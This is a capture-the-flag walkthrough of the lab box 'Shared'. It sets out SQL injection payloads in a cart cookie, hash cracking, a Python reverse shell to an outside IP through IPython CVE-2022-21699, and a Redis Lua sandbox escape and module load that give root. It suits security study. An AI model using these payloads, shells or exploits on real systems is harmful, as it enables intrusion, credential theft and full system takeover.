INDEX

• INDEX
  • Enumeration
  • Privesc user
  • Privesc root

Enumeration

• nmap -sV -p- -A 10.10.11.172

    22/tcp  open  ssh      OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
    | ssh-hostkey: 
    |   3072 91:e8:35:f4:69:5f:c2:e2:0e:27:46:e2:a6:b6:d8:65 (RSA)
    |   256 cf:fc:c4:5d:84:fb:58:0b:be:2d:ad:35:40:9d:c3:51 (ECDSA)
    |_  256 a3:38:6d:75:09:64:ed:70:cf:17:49:9a:dc:12:6d:11 (ED25519)
    80/tcp  open  http     nginx 1.18.0
    |_http-title: Did not follow redirect to http://shared.htb
    |_http-server-header: nginx/1.18.0
    443/tcp open  ssl/http nginx 1.18.0
    |_http-title: Did not follow redirect to https://shared.htb
    | tls-nextprotoneg: 
    |   h2
    |_  http/1.1
    | ssl-cert: Subject: commonName=*.shared.htb/organizationName=HTB/stateOrProvinceName=None/countryName=US
    | Not valid before: 2022-03-20T13:37:14
    |_Not valid after:  2042-03-15T13:37:14
    |_ssl-date: TLS randomness does not represent time
    | tls-alpn: 
    |   h2
    |_  http/1.1
    |_http-server-header: nginx/1.18.0
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
  

• The site hosts prestashop version 1.7.X, understood from here: https://stackoverflow.com/a/62383164

    /themes/classic/assets/css/theme.css
  

  I try to study and execute the exploit: https://www.exploit-db.com/exploits/49410 → no way

• gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://shared.htb -k -b "301, 404"

    /api                  (Status: 401) [Size: 16]
    /Makefile             (Status: 200) [Size: 88]
    /apis                 (Status: 401) [Size: 16]
    /apidocs              (Status: 401) [Size: 16]
    /apilist              (Status: 401) [Size: 16]
    /apiviewer            (Status: 401) [Size: 16]
    /apiguide             (Status: 401) [Size: 16]
    /apig                 (Status: 401) [Size: 16]
  

• Looking in the source code from the browser you will notice how the controller parameter of index.php allows you to navigate in the pages.

  An interesting page seems to be http://shared.htb/index.php?controller=address because it redirects to http://shared.htb/index.php?controller=authentication&back=addresses asking for a login.

  I exclude the possibility of doing a bruteforce as I do not know neither the email nor the password.

• Browsing the site and trying to make a purchase I found http://checkout.shared.htb/

• gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://checkout.shared.htb -k --exclude-length 3229

    /assets               (Status: 301) [Size: 169] [--> http://checkout.shared.htb/assets/]
    /css                  (Status: 301) [Size: 169] [--> http://checkout.shared.htb/css/]   
    /config               (Status: 301) [Size: 169] [--> http://checkout.shared.htb/config/]
  

• shared.htb to tell checkout.shared.htb which products have been placed in the cart use the cookie:
  custom_cart=%7B%2253GG2EF8%22%3A%221%22%7D; → url decode → custom_cart={"53GG2EF8":"1"};

• Being something custom it will not be part of prestashop, so I mainly focus on this functionality. Maybe there is some injection? I do tests:
  • {"53GG2EF8":"1","YCS98E4A":"1"} → encode url → update cookie → I look at product listing on checkout.shared.htb → 53GG2EF8 e YCS98E4A
  • {"53GG2EF8":"1","' OR '' = '":"1"} → encode url → update cookie → I look at product listing on checkout.shared.htb → 53GG2EF8 e 53GG2EF8
  • {"53GG2EF8":"1","'":"1"} → encode url → update cookie → I look at product listing on checkout.shared.htb → 53GG2EF8 e Not Found

• I immediately try using the hard way:
  

  request_checkout.txt

    GET / HTTP/2
    Host: checkout.shared.htb
    Cookie: custom_cart=*; PrestaShop-5f7b4f27831ed69a86c734aa3c67dd4c=def50200eaac2613eabdb2f368d87aa21150d1684adce3302f020dc02b3f0bbcb57c83a4ab7f73e2446b92b4edd460590d3a39da9fdb290f2cb46420fd05cb5bfa80f1dad6c06a04b804cd469fa8a95358fc31920593be7aa7be4c54f5864fa8b007d4a3ca09fc1fc64e5458e193f79958943a71c4f5fe0dd85e1242acbd4f87949c29696b07969e1bbd73549bdd8906d42aaaa62d94cc3b91023b4331d586cd2d3608f0b2011036f6c2dcd2ed3f30fb658d5465e16346e2cba5181d8af017361ca2627488471a0ce99d91ecf4f43eb7fed1a4765f41d76718abeff46c659999e3b7653affe4e5bb4826b4f51139baace14f99f2f8b0d0c810fcc18413e6a470279de2d15e7f4c8fefc035ca1d412bffe5539507c77775836d6125
    Cache-Control: max-age=0
    Sec-Ch-Ua: "Chromium";v="103", ".Not/A)Brand";v="99"
    Sec-Ch-Ua-Mobile: ?0
    Sec-Ch-Ua-Platform: "Linux"
    Dnt: 1
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Sec-Fetch-Site: none
    Sec-Fetch-Mode: navigate
    Sec-Fetch-User: ?1
    Sec-Fetch-Dest: document
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.9
    Sec-Gpc: 1
  

  
  

  Testing the first field: sqlmap -r request_checkout.txt --os='linux' --level=5 --risk=3 --random-agent --tamper=space2comment --prefix='%7B%22' --suffix='%22%3A%221%22%7D'

  Testing the second field: sqlmap -r request_checkout.txt --os='linux' --level=5 --risk=3 --random-agent --tamper=space2comment --prefix='%7B%22YCS98E4A%22%3A%22' --suffix='%22%7D'

  I used the --proxy='http://localhost:8080' parameter to check from Burpsuite that the requests had the injection in the correct place.

  Unfortunately I was unable to get an injection, I make a few attempts without sqlmap

• {"' AND 1=2 UNION SELECT 1,@@version,3-- a":"1"} → 10.5.15-MariaDB-0+deb11u1

• I create other queries to better understand the situation:
  • tables: {"' UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM INFORMATION_SCHEMA.TABLES -- ":"1"}
  • users: {"' UNION SELECT 1,GROUP_CONCAT(id,' ',username,' ',password),3 FROM user -- ":"1"}

      1 james_mason fc895d4eddc2fc12f995e18c865cf273
    

  • I identify the type of hash with hash-identifier

      HASH: fc895d4eddc2fc12f995e18c865cf273
    
      Possible Hashs:
      [+] MD5
      [+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))
    

    Then I check the corresponding Hash-Mode number for hashcat

    hashcat --example-hashes | grep MD5 -B 4 -A 4

      Hash mode #0
      Name................: MD5
      Category............: Raw Hash
      Slow.Hash...........: No
      Password.Len.Min....: 0
      Password.Len.Max....: 256
      --
      Custom.Plugin.......: No
      Plaintext.Encoding..: ASCII, HEX
    

    And finally I start to crack the MD5 hash with an offline dictionary attack:

    hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt

      fc895d4eddc2fc12f995e18c865cf273:Soleil101
    

• I got the foothold so I login as: ssh james_mason@shared.htb

• Server side:

  /var/www/checkout.shared.htb/index.php

    if(isset($_COOKIE["custom_cart"])) {
        $custom_cart = json_decode($_COOKIE["custom_cart"], true);
        $i=0;
        foreach($custom_cart as $code => $qty) {
            $sql = "SELECT id, code, price from product where code='".$code."'";
              
            // Prevent time-based sql injection
            if(strpos(strtolower($sql), "sleep") !== false || strpos(strtolower($sql), "benchmark") !== false)
                continue;
                  
            $result = $conn->query($sql);
  
            ...
        }
    }
  

  config/db.php

    <?php
    define('DBHOST','localhost');
    define('DBUSER','checkout');
    define('DBPWD','a54$K_M4?DdT^HUk');
    define('DBNAME','checkout');
    ?>
  

• Database side: USE checkout;

  select * from user;

    +----+-------------+----------------------------------+
    | id | username    | password                         |
    +----+-------------+----------------------------------+
    |  1 | james_mason | fc895d4eddc2fc12f995e18c865cf273 |
    +----+-------------+----------------------------------+
  

  select * from product;

    +----+----------+-------+
    | id | code     | price |
    +----+----------+-------+
    |  1 | 53GG2EF8 | 23.90 |
    |  2 | YCS98E4A | 35.90 |
    |  3 | CRAAFTKP | 29.00 |
    |  4 | MFDSVHXQ | 29.00 |
    |  5 | SS5UMYLB | 29.00 |
    |  6 | 7DA8SKYP | 11.90 |
    |  7 | 2E6E8GXJ | 11.90 |
    |  8 | 562XZDU8 | 11.90 |
    |  9 | DW64K6JF | 18.90 |
    | 10 | B4GTLMT3 | 18.90 |
    | 11 | B4ATAMB4 | 18.90 |
    | 12 | 4HAR4XDK |  9.00 |
    | 13 | UE593T4N |  9.00 |
    | 14 | WH82F998 |  9.00 |
    | 15 | PPZV67J5 | 35.00 |
    | 16 | BTAPXNX4 | 12.90 |
    | 17 | 5P6UG55R | 12.90 |
    | 18 | 77W6QWLX | 12.90 |
    | 19 | 8LPULR6Q | 13.90 |
    +----+----------+-------+
  

Privesc user

• I run the usual script linpeas.sh interesting group developer → find / -group developer 2>/dev/null

    /opt/scripts_review
  

• Running pspy64 I see that a cronjob is being executed:

    2022/09/11 05:59:01 CMD: UID=0    PID=82273  | /usr/sbin/CRON -f 
    2022/09/11 05:59:01 CMD: UID=0    PID=82275  | sleep 5 
    2022/09/11 05:59:01 CMD: UID=0    PID=82274  | /bin/bash /root/c.sh 
    2022/09/11 05:59:01 CMD: UID=1001 PID=82277  | /usr/bin/pkill ipython 
    2022/09/11 05:59:01 CMD: UID=1001 PID=82276  | /bin/sh -c /usr/bin/pkill ipython; cd /opt/scripts_review/ && /usr/local/bin/ipython 
    2022/09/11 05:59:01 CMD: UID=1001 PID=82278  | /usr/bin/python3 /usr/local/bin/ipython
  

• The ipython command is run inside the /opt/scripts_review/ directory, it doesn’t make much sense without arguments.

  ipython keeps its configurations inside the directory: ipython locate

    /home/james_mason/.ipython
  

  This part of the box reminds me of the OpenSource root flag: you had to work on the .git directory of the repo owned by the user in which the git command was run as root inside it.

  In this case it is more difficult because if you created a .ipython directory inside /opt/scripts_review/ it would be ignored by the user with id 1001 ( dan_smith) because he has his own configuration of ipython:

    /home/dan_smith/.ipython
  

• There is a CVE for ipython at version 8.0.0 → https://github.com/ipython/ipython/security/advisories/GHSA-pq7m-3gw7-gq5x

  I try to run the exploit: mkdir -p /opt/scripts_review/profile_default/startup && chmod -R 777 /opt/scripts_review/profile_default/ && echo "import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.14.51',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn('/bin/bash')" > /opt/scripts_review/profile_default/startup/foo.py

  bingo!

• but why does it work?

  In the patch you can see:

  IPython/core/application.py

    def _config_file_paths_default(self):
        return [os.getcwd()]
  

  was changed to

    def _config_file_paths_default(self):
        return []
  

  
  

  IPython/core/profiledir.py

    paths = [os.getcwd(), ipython_dir]
  

  was changed to

    paths = [ipython_dir]
  

  
  

  The source code of ipython before FIX CVE-2022-21699: https://github.com/ipython/ipython/tree/b8d7dfa8d78108f3f01486d9fa67b6841acb8f74

  I reproduce the exploit locally:

  • git clone https://github.com/ipython/ipython.git /home/user/Downloads/ipython/
  • cd /home/user/Downloads/ipython/
  • git reset --hard b8d7dfa8d78108f3f01486d9fa67b6841acb8f74
  • sudo pip3 install -e .
  • cd /home/user/Downloads/
  • mkdir test && cd test
  • nc -lnvp 4444 (another terminal)
  • mkdir -p /home/user/Downloads/test/profile_default/startup && echo "import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.14.51',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn('/bin/bash')" > /home/user/Downloads/test/profile_default/startup/foo.py
  • sudo ipython

  So the function find_profile_dir_by_name() at this version returned in the list also the os.getcwd().

  It was also passed as input to the function find_profile_dir_by_name() the value of get_ipython_dir() that read $IPYTHONDIR.

  The problem is that for both james_mason and dan_smith it is empty, but even if it were set it would have less precedence than os.getcwd(): https://github.com/ipython/ipython/blob/23c328212ad01d846ec9998533ccdc5f5d17fbe9/IPython/core/profiledir.py#L203

    paths = [os.getcwd(), ipython_dir]
  

  There is a discrepancy between what I have reproduced locally and the behavior in the box: if I don’t give permission 777 to the profile_default folder and to profile_default/startup it doesn’t work. Reason:

    File "/usr/local/lib/python3.9/dist-packages/IPython/core/profiledir.py", line 125, in check_security_dir
        self._mkdir(self.security_dir, 0o40700)
    File "/usr/local/lib/python3.9/dist-packages/IPython/core/profiledir.py", line 95, in _mkdir
        os.mkdir(path, mode)
    PermissionError: [Errno 13] Permission denied: '/opt/scripts_review/profile_default/security'
  

    File "/usr/local/lib/python3.9/dist-packages/IPython/core/profiledir.py", line 121, in check_startup_dir
        shutil.copy(src, readme)
    File "/usr/lib/python3.9/shutil.py", line 418, in copy
        copyfile(src, dst, follow_symlinks=follow_symlinks)
    File "/usr/lib/python3.9/shutil.py", line 264, in copyfile
        with open(src, 'rb') as fsrc, open(dst, 'wb') as fdst:
    PermissionError: [Errno 13] Permission denied: '/opt/scripts_review/profile_default/startup/README'
  

  The reason therefore is that ipython tries to create its own configuration files and fails if it does not have write permission.

Privesc root

• I run the usual script linpeas.sh

    ╔══════════╣ My user
    ╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#users
    uid=1001(dan_smith) gid=1002(dan_smith) groups=1002(dan_smith),1001(developer),1003(sysadmin)
  

• find / -group sysadmin 2>/dev/null

    /usr/local/bin/redis_connector_dev
  

• ls -al /usr/local/bin/redis_connector_dev

    -rwxr-x--- 1 root sysadmin 5974154 Mar 20 09:41 /usr/local/bin/redis_connector_dev
  

• I run: /usr/local/bin/redis_connector_dev

    [+] Logging to redis instance using password...
  
    INFO command result:
    # Server
    redis_version:6.0.15
    redis_git_sha1:00000000
    redis_git_dirty:0
    redis_build_id:4610f4c3acf7fb25
    redis_mode:standalone
    os:Linux 5.10.0-16-amd64 x86_64
    arch_bits:64
    multiplexing_api:epoll
    atomicvar_api:atomic-builtin
    gcc_version:10.2.1
    process_id:83354
    run_id:b1d5c673b3d670f3fc567ccdc14c3a337ed297cc
    tcp_port:6379
    uptime_in_seconds:6
    uptime_in_days:0
    hz:10
    configured_hz:10
    lru_clock:2043228
    executable:/usr/bin/redis-server
    config_file:/etc/redis/redis.conf
    io_threads_active:0
    <nil>
  

• Manages to login to redis, then I unload the binary and start reversing it with ghidra. But first I look at the traffic with wireshark while trying to connect to a local redis instance:

    4	0.000829298	::1	::1	TCP	125	35854 → 6379 [PSH, ACK] Seq=1 Ack=1 Win=65536 Len=37 TSval=513050482 TSecr=513050482
  
    Frame 4: 125 bytes on wire (1000 bits), 125 bytes captured (1000 bits) on interface any, id 0
    Linux cooked capture v1
    Internet Protocol Version 6, Src: ::1, Dst: ::1
    Transmission Control Protocol, Src Port: 35854, Dst Port: 6379, Seq: 1, Ack: 1, Len: 37
    Data (37 bytes)
        Data: 2a 32 0d 0a 24 34 0d 0a 61 75 74 68 0d 0a 24 31 36 0d 0a 46 32 57 48 71 4a 55 7a 32 57 45 7a 3d 47 71 71 0d 0a
        [Length: 37]
  

  in the data field it reads:

    *2
    $4
    auth
    $16
    F2WHqJUz2WEz=Gqq
  

  The last field could be the password, I look on the locally installed redis-server if the traffic matches:

  redis-cli -h 127.0.0.1 -p 6379 -a 'F2WHqJUz2WEz=Gqq'

    8	1.889181379	127.0.0.1	127.0.0.1	TCP	105	46490 → 6379 [PSH, ACK] Seq=1 Ack=1 Win=65536 Len=37 TSval=1089735618 TSecr=1089735613
  
    Frame 8: 105 bytes on wire (840 bits), 105 bytes captured (840 bits) on interface any, id 0
    Linux cooked capture v1
    Internet Protocol Version 4, Src: 127.0.0.1, Dst: 127.0.0.1
    Transmission Control Protocol, Src Port: 46490, Dst Port: 6379, Seq: 1, Ack: 1, Len: 37
    Data (37 bytes)
        Data: 2a 32 0d 0a 24 34 0d 0a 61 75 74 68 0d 0a 24 31 36 0d 0a 46 32 57 48 71 4a 55 7a 32 57 45 7a 3d 47 71 71 0d 0a
        [Length: 37]
  

  In the data field it reads:

    *2
    $4
    auth
    $16
    F2WHqJUz2WEz=Gqq
  

  bingo!

  I got the redis password, I log into the box:

  redis-cli -h 127.0.0.1 -p 6379 -a 'F2WHqJUz2WEz=Gqq' → it works

• Enumeration of the content inside the redis server:

  127.0.0.1:6379> INFO keyspace

    # Keyspace
  

  127.0.0.1:6379> keys *

    (empty array)
  

  127.0.0.1:6379> dbsize

    (integer) 0
  

  completely empty!

• I google “redis privesc” and I found https://thesecmaster.com/how-to-fix-cve-2022-0543-a-critical-lua-sandbox-escape-vulnerability-in-redis/

  • From hacktricks: https://book.hacktricks.xyz/network-services-pentesting/6379-pentesting-redis#lua-sandbox-bypass and https://github.com/aodsec/CVE-2022-0543

  • Proof of concept: https://github.com/vulhub/vulhub/tree/master/redis/CVE-2022-0543

  • 127.0.0.1:6379> info

      # Server
      redis_version:6.0.15
    

    vulnerable!

  • Run the exploit: eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

      "uid=0(root) gid=0(root) groups=0(root)\n"
    

• Another method https://book.hacktricks.xyz/network-services-pentesting/6379-pentesting-redis#load-redis-module:

  • git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git
  • Compile it with make
  • I upload module.so on the /tmp/module.so box with python http server
  • redis-cli -h 127.0.0.1 -p 6379 -a 'F2WHqJUz2WEz=Gqq'
  • MODULE LOAD "/tmp/module.so"

      (error) ERR Error loading the extension. Please check the server logs.
    

  • There is an error but the module was loaded anyway:

    MODULE LIST

      1)  1) "name"
          2) "system"
          3) "ver"
          4) (integer) 1
    

  • system.exec "id"

      "uid=0(root) gid=0(root) groups=0(root)\n"